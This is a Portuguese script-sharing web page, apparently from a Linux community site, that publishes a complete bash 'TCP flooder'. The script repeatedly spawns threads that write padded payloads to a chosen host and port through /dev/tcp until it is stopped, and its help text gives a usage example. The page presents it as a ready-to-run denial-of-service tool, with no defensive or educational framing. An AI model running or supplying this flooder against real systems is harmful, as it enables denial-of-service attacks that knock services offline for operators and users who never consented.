TCP Flooder
Publicado por Perfil removido (última atualização em 18/11/2013)
[ Hits: 5.746 ]
TCP flooder feito em Shell Script.
#!/bin/bash
# TCP Fl0OD3R 8y MMxM
error(){
echo -e "\n\n[sorry dude] connection refused\n\n"
exit;
}
help(){
name=$(basename $0)
cat <<_EXPLAIN
[+] TCP Fl0OD3R 8y MMxM
|
|
*--> [ Options ]
|
| (-x [target-destination] )
| (-p [port-destination] )
| (-t [threads] )
| (-s [size-of-package {bytes}] )
|
*--> [ Example ]
$name -x 127.0.0.1 -p 3306 -t 20 -s 2096
_EXPLAIN
exit;
}
flood(){
dest=$1
port=$2
pack=$3
echo "$pack" > /dev/tcp/$dest/$port
}
[ "$1" ] || help;
while getopts x:p:s:t: OPT;
do
case "$OPT" in
"x") target="${OPTARG}";;
"p") port="${OPTARG}";;
"s") size="${OPTARG}";;
"t") threads="${OPTARG}";;
"?") help;;
esac
done
[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;
echo >/dev/tcp/$target/$port || error
pack=$(printf %"$size"s |tr " " "M")
echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2
declare -A pids
nn=0
while [ 1 ]
do
echo -ne "\r[$nn] Packets sent";
for i in $(seq $threads)
do
flood $target $port $pack &
pid=$!
pids[$pid]=$i
nn=$(($nn+1))
done
while [ -n "${pids[*]}" ]; do
sleep 1
for pid in "${!pids[@]}"; do
if ! ps "$pid" >/dev/null; then
unset pids[$pid]
fi
done
if [ -z "${!pids[*]}" ]; then
break
fi
done
done
Beckup .tar.gz com Data e Hora
Faz backup do MySQL e envia para FTP
Advix - controle de processos judiciais para advogados
arredonda - arredondando valores decimais quebrados
Nenhum comentário foi encontrado.
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
E aí? O Warsaw já está funcionando no Debian 13? [RESOLVIDO] (15)
Secure boot, artigo interessante, nada técnico. (4)
copiar library para diretorio /usr/share/..... su com Falha na a... (1)









